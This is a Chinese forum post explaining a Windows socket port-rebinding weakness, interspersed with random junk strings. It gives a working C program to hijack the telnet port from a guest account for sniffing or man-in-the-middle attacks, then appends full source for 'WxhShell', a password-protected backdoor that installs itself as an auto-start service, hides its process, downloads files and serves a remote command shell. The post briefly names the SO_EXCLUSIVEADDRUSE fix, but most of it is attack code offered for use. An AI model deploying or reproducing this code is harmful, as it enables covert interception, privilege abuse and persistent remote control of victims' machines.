-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qqm'Yom%T s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "MM)AY*b HQGn[7JW saddr.sin_family = AF_INET; 4AW-'W (
y0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); !Pd@0n4 ktF\f[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r}T(?KGx wGy`0c]v? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g6aIS^mU nM#/uuRl| 这意味着什么?意味着可以进行如下的攻击: 2PZ#w(An& -j& A;G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (`'(`x# [L(qrAQ2|z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `
ES-LLhVf )IBvm1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KJ (|skO HD%n'@E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 }ZqnsLu[) l;7T.2J'Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (sDZ&R \0j-p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <DR$WsDG db*yA@2Lg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QzLE9 \gCh'3 #include a=_:`S]} #include FHbyL\Q #include >bRoQ8 #include 0q6xXNAX DWORD WINAPI ClientThread(LPVOID lpParam); *(g0{V int main() {Qba`lOkq { R,8 W7 3 WORD wVersionRequested; He9Er DWORD ret; 0?,<7}"<X WSADATA wsaData; dkWV/DAm BOOL val; b9R0"w!ml
SOCKADDR_IN saddr; do[w&`jw8 SOCKADDR_IN scaddr; `a6AES'w$ int err; w!_6* SOCKET s; */'j[uj
SOCKET sc; 9;Qgby int caddsize; Xk] uXx:TN HANDLE mt; kxCN0e#_ DWORD tid; `T,^os#6 wVersionRequested = MAKEWORD( 2, 2 ); ~F"w err = WSAStartup( wVersionRequested, &wsaData ); #;0F-pt if ( err != 0 ) { .^xQtnq printf("error!WSAStartup failed!\n"); vd9PB N return -1; U<|*V5 } O03N$Jq
A saddr.sin_family = AF_INET; XUVBD;"f! K%.t%)A_3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LGh# NT=)</v saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >H5_,A}f saddr.sin_port = htons(23); /$d#9Uv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tISb' ^T { 5cj&D74o printf("error!socket failed!\n"); 8I~*9MUp return -1; 2)Q%lEm`SP } Mw`S.M. B val = TRUE; l0PXU)>C //SO_REUSEADDR选项就是可以实现端口重绑定的 [(; .D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *+%$OH, { =5O&4G`} printf("error!setsockopt failed!\n"); ?aQVaw&L!7 return -1; 8/@*6J } m 0]1(\% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 06 an(&a9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x<5;# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <uImZC z
$iI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 79 \SbB { h
^Wm03w ret=GetLastError(); :j[= printf("error!bind failed!\n"); -n:;/ere7- return -1; xUPg~c0 } WeIi{<u8R listen(s,2); 4|hfzCjMI while(1) r.' cjUs { F!RP * caddsize = sizeof(scaddr); Hv*+HUc(: //接受连接请求 cS>xT cj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ft$
'UJ%j if(sc!=INVALID_SOCKET) 2UMX%+ "J { R=C+] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (Bss%\ if(mt==NULL) qhmA)AWG> { \98|.EG printf("Thread Creat Failed!\n"); g{Hb3id9 break; gb26Y!7% } _o-01gu. } vv D515i CloseHandle(mt); SpMHq_MLM } &g!yRvM!;Q closesocket(s); ^=
'+#|: WSACleanup(); >L^2Z* return 0; 8*sP } QaLVIsnfN DWORD WINAPI ClientThread(LPVOID lpParam) [ak[ZXC, { .WS 7gTw SOCKET ss = (SOCKET)lpParam; nC\LDeKc SOCKET sc; Zb2.o5#} unsigned char buf[4096]; 30QQnMH3 SOCKADDR_IN saddr; `llSHsIkXb long num; ;h4w<OqcM DWORD val; 51puR8AG> DWORD ret; `IK3e9QpcA //如果是隐藏端口应用的话,可以在此处加一些判断 lsOZ%p%fV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =
$6pL saddr.sin_family = AF_INET; v,mn=Q&9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u )KtvC! saddr.sin_port = htons(23); 2_;3B4GDF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sv03="& { oW8 hC printf("error!socket failed!\n"); fQ~YBFhlr return -1; J/ ^|Y6 } }P"JP[#E\ val = 100; b+mh9q'5E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R6dD17 { S-)%# ret = GetLastError(); wQ/FJoB return -1; Ov9kD0S } hh"=|c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +#R<emW { D3-H!TFpDb ret = GetLastError(); *dm?,~f%< return -1; U^{'"x+ } ;COZHj9b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qlfYX8edZ { &d^u$Y5 printf("error!socket connect failed!\n"); e{33%5 closesocket(sc); \~bE|jWbj closesocket(ss); o%\pI% return -1; B0}f,J\ } : $>TeCm while(1) &GH,is { ?$LKn2C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2u|}gZts //如果是嗅探内容的话,可以再此处进行内容分析和记录 e(m#elX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -l`1j6 num = recv(ss,buf,4096,0); pg'3j3JW$ if(num>0) $zuemjW3p send(sc,buf,num,0); tJ,x>s?Y else if(num==0) -w:F8k ~ break; -O-qEQd num = recv(sc,buf,4096,0); *PjW, if(num>0) +aWI"d--h send(ss,buf,num,0); ^N5BJ'[F: else if(num==0) ) b
vZ~t+^ break; `Vqpo/ } xW;-=Q closesocket(ss); #c ndq[H closesocket(sc); $Z;?d@6yI return 0 ; 3+2&@:$t } 1>SCY_Cv duKR;5: -
zQ ========================================================== "38ya2* @]H:=Q'gj 下边附上一个代码,,WXhSHELL :+SpZ> 4S]`S\w ========================================================== &1DU]|RoT& D+.h*{gD #include "stdafx.h" nKJJ7 RL /f9jLY+ #include <stdio.h> U'st\Dt #include <string.h> $#dPM*E #include <windows.h> VR/>V7*7@ #include <winsock2.h> MT,LO<. #include <winsvc.h> i[~oMwc& #include <urlmon.h> i`^`^Ka rZDlPp>BPZ #pragma comment (lib, "Ws2_32.lib") #KonVM(` #pragma comment (lib, "urlmon.lib") mACj>0Z' Y)>GwFK$ #define MAX_USER 100 // 最大客户端连接数 'Dq!o[2y #define BUF_SOCK 200 // sock buffer #L{QnV.3 #define KEY_BUFF 255 // 输入 buffer N4%q-fi kne{Tp #define REBOOT 0 // 重启 r[zxb0YA #define SHUTDOWN 1 // 关机 9&=~_,wJd qJj;3{X2 #define DEF_PORT 5000 // 监听端口 H[guJ)4#@ {|%N #define REG_LEN 16 // 注册表键长度 j5ZeYcQ- #define SVC_LEN 80 // NT服务名长度 4}{HRs? |2\6X's // 从dll定义API F7`3,SzHp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bl-nS{9" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bIP{DxKS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E0^~i:Mk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); edqek jh yVm~5Y&Z // wxhshell配置信息 B~cQl struct WSCFG { =N`"%T@= int ws_port; // 监听端口 5B!l6ST char ws_passstr[REG_LEN]; // 口令 oQ= Q} int ws_autoins; // 安装标记, 1=yes 0=no @<e+E"6 char ws_regname[REG_LEN]; // 注册表键名 <8[BB7 char ws_svcname[REG_LEN]; // 服务名 |b{XnD_g char ws_svcdisp[SVC_LEN]; // 服务显示名 oBr/CW char ws_svcdesc[SVC_LEN]; // 服务描述信息 sn&y;Vc[$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I|JMkP int ws_downexe; // 下载执行标记, 1=yes 0=no a3
<D1" char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" SIjdwr!+ZZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Crmxsw.W^Y zCT Wi }; D[m;rcl "jzU` // default Wxhshell configuration gk\IivPb struct WSCFG wscfg={DEF_PORT, _niXl&C "xuhuanlingzhe", PD12gUU? 1, A^2VH$j]+ "Wxhshell",
9@
6y(#s "Wxhshell", (Bd8@}\u_ "WxhShell Service", v2:A 4Pd:+ "Wrsky Windows CmdShell Service", Mxn>WCPo "Please Input Your Password: ", dJM)~Ay- 1, 4mJ4) " http://www.wrsky.com/wxhshell.exe", " 4#V$V "Wxhshell.exe" N;7Xt9l }; |ul25/B
B =vMFCp;mv // 消息定义模块 cj@Ygc)n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~U#afGH$ char *msg_ws_prompt="\n\r? for help\n\r#>"; '5.n28W> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; L8N`<a5T char *msg_ws_ext="\n\rExit."; Qx|m{1~- char *msg_ws_end="\n\rQuit."; %geiJ z char *msg_ws_boot="\n\rReboot..."; jKZJ0`06q char *msg_ws_poff="\n\rShutdown..."; D ::),, char *msg_ws_down="\n\rSave to ";
XeDiiI 7OX5"u!2 char *msg_ws_err="\n\rErr!"; N"/jn_>+j char *msg_ws_ok="\n\rOK!"; X[:Hp`_$ pb1/HhRR^n char ExeFile[MAX_PATH]; = ;#?CAa: int nUser = 0; MZ
o\1tU-i HANDLE handles[MAX_USER]; eWSA int OsIsNt; fEE[huG m8;;
O SERVICE_STATUS serviceStatus; 3JM0 m ( SERVICE_STATUS_HANDLE hServiceStatusHandle; ?Z=
%I$i .)o<'u@Ri // 函数声明 ;<d("Yz:@Z int Install(void); \\XvVi:B int Uninstall(void); VVO C-: int DownloadFile(char *sURL, SOCKET wsh); ms8de>A|H int Boot(int flag); U|.kAI* void HideProc(void); a]-F,M J int GetOsVer(void); _0ki19rs int Wxhshell(SOCKET wsl); #qY`xH'> void TalkWithClient(void *cs); hdt;_qa int CmdShell(SOCKET sock); G=Hvh=K( int StartFromService(void); &?flH; int StartWxhshell(LPSTR lpCmdLine); <dl:';@a- U8qb2'a8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Aon3G VOID WINAPI NTServiceHandler( DWORD fdwControl ); L#mf[a@pCn @dei}!e // 数据结构和表定义 ZN#mu]jC? SERVICE_TABLE_ENTRY DispatchTable[] = 7p*PDoM6` { TELN4* {wscfg.ws_svcname, NTServiceMain}, LdnHz# {NULL, NULL} / r6^]grg }; dPZrX{ c yXP+$oox9 // 自我安装 b>SG5EqU@ int Install(void) @v&hr { lWr=79 char svExeFile[MAX_PATH]; x6Zhw9RV HKEY key; Qc1NLU9: strcpy(svExeFile,ExeFile); vYb.Ub+ Z$
q{!aY // 如果是win9x系统,修改注册表设为自启动 VbX+`CwH if(!OsIsNt) { shlMJa? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UW%zR5q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }2c)UQD8 RegCloseKey(key); &zkuL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M ,!Dhuas RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e$kBpG"D RegCloseKey(key); SR)jJ=R3 return 0; }#%3y&7M7 } fNR2(8;} } e=uElp'% } Lv;% z else { rywui10x* A#NJ8_ // 如果是NT以上系统,安装为系统服务 i/UDda"E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2kukQj(n if (schSCManager!=0) aia`mO] { -DAkVFsN SC_HANDLE schService = CreateService 3XykIj1 ( b0X<)1O schSCManager, 'k^d-Mh>h wscfg.ws_svcname, _A]8l52pt wscfg.ws_svcdisp, G-7!|& SERVICE_ALL_ACCESS, arVu`pD*n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9mA6nmp SERVICE_AUTO_START, v9*ugu[K9 SERVICE_ERROR_NORMAL, f6/<lS oW svExeFile, P"-*'q,9 NULL, #BPJRNXd NULL, <'T:9 NULL, 1`6kc9f. NULL, t+9[ki NULL _PPZ!r( ); |ty?Ah,vb if (schService!=0) Fh8 8DDJ { yP<ngi^s= CloseServiceHandle(schService); bF2RP8?en CloseServiceHandle(schSCManager); L<D<3g|4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D;1?IeS strcat(svExeFile,wscfg.ws_svcname); =Ff _)k
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UY5wef2sF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {UeS_O>( RegCloseKey(key); 7!qO*r return 0; +DsdzR`Gx, } H|\@[:A+ } yf4I<v$y CloseServiceHandle(schSCManager); a^vTBJXo } CE5A^,EsB } ']bw37_U, omP\qOc return 1; B}(r>8?dm } |l-~,eRvi5 &xWej2a! // 自我卸载 @k-C>h()C int Uninstall(void) :kMF.9U: { W5*Kq^6Pd HKEY key; eIDrN%3 c80Ffq if(!OsIsNt) { BQ:hUF3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {{r.?m#{ RegDeleteValue(key,wscfg.ws_regname); _|Uv7>}J^ RegCloseKey(key); B7QRG0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^?V9 RegDeleteValue(key,wscfg.ws_regname); RVN;j4uMg RegCloseKey(key); JT p+&NS return 0; 9,?7mgZp } b!<\#[
A4 } *t{^P*pc } O#@G
.~n? else { d iWi0@ -Hh.8(!XoO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _. &N@k if (schSCManager!=0) `N}aV Ns { 8B`w!@hf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,p>@:C/M if (schService!=0) oLS/ { Xqy9D ZIn if(DeleteService(schService)!=0) { G,}"}v: CloseServiceHandle(schService); Ya&\ b 6 CloseServiceHandle(schSCManager); P,rD{ 0~ return 0; ~f:"Q(f+ } l*w*e.ezQ CloseServiceHandle(schService); t2(vtxrt } - i#Kpf CloseServiceHandle(schSCManager); Ys0N+ } hb<cynY } )A$xt)}P!{ r4M;] return 1; JRR,ooN*i } Bm5\*Xd1( |va^lT // 从指定url下载文件 5]*!N int DownloadFile(char *sURL, SOCKET wsh) fZp3g%u { v?YxF} HRESULT hr; X4<Y5?&0 char seps[]= "/"; twox.@"U char *token; !;U oZ~ char *file; z?@N+||,. char myURL[MAX_PATH]; =gB8(1g8 char myFILE[MAX_PATH]; @R Jr
~y0 iS< ^MD strcpy(myURL,sURL); .^6yCs5~` token=strtok(myURL,seps); 2;K2|G7 while(token!=NULL) N9s+Tm { 4t-l@zFWb file=token; YkbuyUui token=strtok(NULL,seps); *L~?.9R } Sf*gAwnW PQ{5*}$N GetCurrentDirectory(MAX_PATH,myFILE); (((|vI3 < strcat(myFILE, "\\"); M.HMnN# strcat(myFILE, file); P;eXUF+jn send(wsh,myFILE,strlen(myFILE),0); \EXa 9X2 send(wsh,"...",3,0); xE{slDl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h\2iArw8 if(hr==S_OK) IL1iTRH return 0; /I((A/ks else D"2bgw return 1; k?rJGc G dUUg}/ } &;sW4jnt ROXa/ // 系统电源模块 ^]D+H9Tl int Boot(int flag) PuhvJHT { !b=W>5h HANDLE hToken; "jLC!h^N TOKEN_PRIVILEGES tkp; fv@<
CvR-lKV< if(OsIsNt) { Cg|\UKfy$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~N2=44e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M~n./wyC tkp.PrivilegeCount = 1; do*aE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nEPTTp+B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -:kIIK
if(flag==REBOOT) { !??g:2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >_\[C?8 return 0; !iq|sXs } l|{[vZpT else { ];jp)P2o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
M%Ksyr9 return 0; !!ma]pB, } c%bzrYQvA; } 0qIg:+l+ else { +xgP&nw[- if(flag==REBOOT) { y=.bn!u}z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T--%UZD]W return 0; ?;H}5>^8P } b dLi_k else { ,<'>jaC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }-J0cV return 0; ky-nP8L} } B^]PKjLNZ } 4 R(m$!E! nI&p.i6 return 1; GKjtX?~1 } RKE"}|i+S 0:>hK\F# // win9x进程隐藏模块 @g4o8nH} void HideProc(void) f0j]!g { {ya. Yb4ku7} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |
oK9o6m4 if ( hKernel != NULL ) &oq0XV.M^ { U4^c{KWS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 096Yd=3h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D7T|K :F) FreeLibrary(hKernel); 1DhC,)+D}q } $B_%MfI UAT\ .
return; -*MY7t3 } tpC^68*F Z/:F)c,x // 获取操作系统版本 0 p?AL= int GetOsVer(void) ]wdE
:k,D { R ZQH#+*t} OSVERSIONINFO winfo; *i^$xjOa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } `r.fD GetVersionEx(&winfo); iB"ji4[z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fZ5 UFq_~s return 1; T'vI@i9 else GCq4{_B\Q return 0; VOZxLyj^9 } op5`#{ !C05;x8{ // 客户端句柄模块 !5C"`@}q> int Wxhshell(SOCKET wsl) o2U5irU { } `Ya; SOCKET wsh; WV.hQX9P struct sockaddr_in client; NytTyk) DWORD myID; nEd
"~ n#b{ while(nUser<MAX_USER) <{Y3}Q { S-88m/"]s int nSize=sizeof(client); gqy>;A:kO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _^#eO`4" if(wsh==INVALID_SOCKET) return 1; ?%UiW7}j'; &C+2p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6bhb_U'f if(handles[nUser]==0) A1-,b.Ni closesocket(wsh); EI6kBRMo else &BrFcXF nUser++; (k #xF"yI } g^(gT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gM>?w{!LBx ,^8':X"A{! return 0; {+hABusq } (b//YyqN t-KicLr // 关闭 socket LdG? kbJ&y void CloseIt(SOCKET wsh) O}Pqbx& { aYT!xdCI closesocket(wsh); #<b\B qYG nUser--; Od~uYOL/B ExitThread(0); go AV+V7 } ^C~Ryw7 u1 M8nb // 客户端请求句柄 ZAn @NA= void TalkWithClient(void *cs) e[u}Vf { 0a{hCx|$J tt?`,G.(] SOCKET wsh=(SOCKET)cs; XdCP!iq*8 char pwd[SVC_LEN]; :cWU,V char cmd[KEY_BUFF]; (FApkvy char chr[1]; \]f+{d-& int i,j; }i"[5: ial{A6X while (nUser < MAX_USER) { Eqz|eS*6 T^|k` if(wscfg.ws_passstr) { A)"L+Yu5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }W}( k2r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HL4=P,' //ZeroMemory(pwd,KEY_BUFF); "[?DS i=0; jOzXy Dq while(i<SVC_LEN) { y4h
=e~ Jk>vn+q8P^ // 设置超时 4;Ucas6 fd_set FdRead; >4luZnWMI struct timeval TimeOut; %_5#2a FD_ZERO(&FdRead); -fFtHw:kHh FD_SET(wsh,&FdRead); uxD3+Q TimeOut.tv_sec=8; S!u8JG1 TimeOut.tv_usec=0; aq_K,li#w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7>gjq'0
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e`g+Jf`AT *Igb3xK% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4RVqfD pwd =chr[0]; xtP:Q9!N if(chr[0]==0xd || chr[0]==0xa) { u~M$<|; pwd=0; i;9X_?QF break; bI:W4y>I= } PF/K&&9} i++; ]?1_.Wjtt } L$_%T O$6&4p*F. // 如果是非法用户,关闭 socket d~~, 5E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ph5{i2U0 } &j1-Ouy $L0sBW& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *z69ti/
t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q( ~rk nX3?7"v while(1) { Jg=!GU/:: RVm-0[m} ZeroMemory(cmd,KEY_BUFF); H;\C7w| wl]3g // 自动支持客户端 telnet标准 RN-gZ{AW j=0; J78.-J5 j0 while(j<KEY_BUFF) { Cs>` f,o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sk+XBX(} cmd[j]=chr[0]; ,V!"4T,Z if(chr[0]==0xa || chr[0]==0xd) { Wr b[\
?- cmd[j]=0; M]6+s`?r break; >R]M:Wx } b)'CP Cu* j++; *KDTBd } v}u]tl$, /jJD
{ // 下载文件 'k\j[fk/K if(strstr(cmd,"http://")) { 7uc\AhOk6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); JS ^Cc if(DownloadFile(cmd,wsh)) o+{,>t send(wsh,msg_ws_err,strlen(msg_ws_err),0); &J2UAmB else m0;j1-t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C lf;+G0 } }UsH#!9. else { W;I{4ed6 L>IP!.J]? switch(cmd[0]) { YSGE@ bgBvzV&'8 // 帮助 ,zx{ RDI case '?': { Rs"=o>Qu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d)-ZL*o break; zGU MH7 M } !Q|a R // 安装 ")MHP~ ? case 'i': { G@ot^n3 if(Install()) u=InE|SH send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7AsMlq[( else 1 jB0gNe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cy,6^d break; El9T>!Z } =JE<oVP8 // 卸载 3Ed case 'r': { WMC^G2 n if(Uninstall()) B)@Xz<Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); ":+d7xR?o else QDY uJ&!h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j%`
C break; cwvJH&%0 } (v?@evQ // 显示 wxhshell 所在路径 )x\%*ewY case 'p': { ,YM=?No char svExeFile[MAX_PATH]; 'Iw`+=iVz strcpy(svExeFile,"\n\r"); Ag0w8F strcat(svExeFile,ExeFile); Xxh^4vKjX send(wsh,svExeFile,strlen(svExeFile),0); -S]ercar break; Pq+|*Y<|& } geK;r0(f // 重启 =t_+ajY% case 'b': { LI}e_=E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x/{-U05 if(Boot(REBOOT)) XHJdynt/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ASi2;Q_{_ else { ~\-=q^/! closesocket(wsh); -<x% ExitThread(0); ^n~Kr1}nj } BDfMFH[1 break; .a2R2~35 } 3"Oipt+ // 关机 GtmoFSZ case 'd': { }*!L~B! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KF
*F if(Boot(SHUTDOWN)) U*K4qJ6U send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'>9'/& else { ("=q-6$G closesocket(wsh); J ##a;6@ ExitThread(0); {nSgiqd"28 } 5KB Z-, break; Iw[zN[oz } Oq<3&* // 获取shell &0T7Uv-` case 's': { {@Lun6\ CmdShell(wsh); 4S>#>(n7= closesocket(wsh); ,~$sJ2
g7 ExitThread(0); iDDq<a.A break; )2E vZn } IG}yGGn // 退出 mgjcA5z case 'x': { 0K"+u9D^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =\8 x CloseIt(wsh); y /8iEs break; 'Sd+CXS } &/' O?HWl // 离开 (Q `Ps/ case 'q': { '$yy send(wsh,msg_ws_end,strlen(msg_ws_end),0); A-vYy1,' closesocket(wsh); D{8B;+ WSACleanup(); gYho$E exit(1); hUi5~;Q5Fi break; ;gHcDnH) } Pt-mLINvG } RF<f } #l)o<Z :L:] 3L // 提示信息 ?gU-a if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MftaT5 } WM$Z?CN%KB } ]EN&EA"< CO
ZfR~} return; -{?xl*D } es69P) dEf5x_TGm // shell模块句柄 gi:M= int CmdShell(SOCKET sock) ., thdqOO { 8PeVHpZ STARTUPINFO si; 4,)QV_? ZeroMemory(&si,sizeof(si)); $y<`Jy]+)~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ze+S_{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |Cfo(]>G PROCESS_INFORMATION ProcessInfo; .;vd char cmdline[]="cmd"; l) KN5V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "AWk
jdj return 0; - 3<&sTR } a(JtGjTf& )=N.z6? // 自身启动模式 Ym]rG
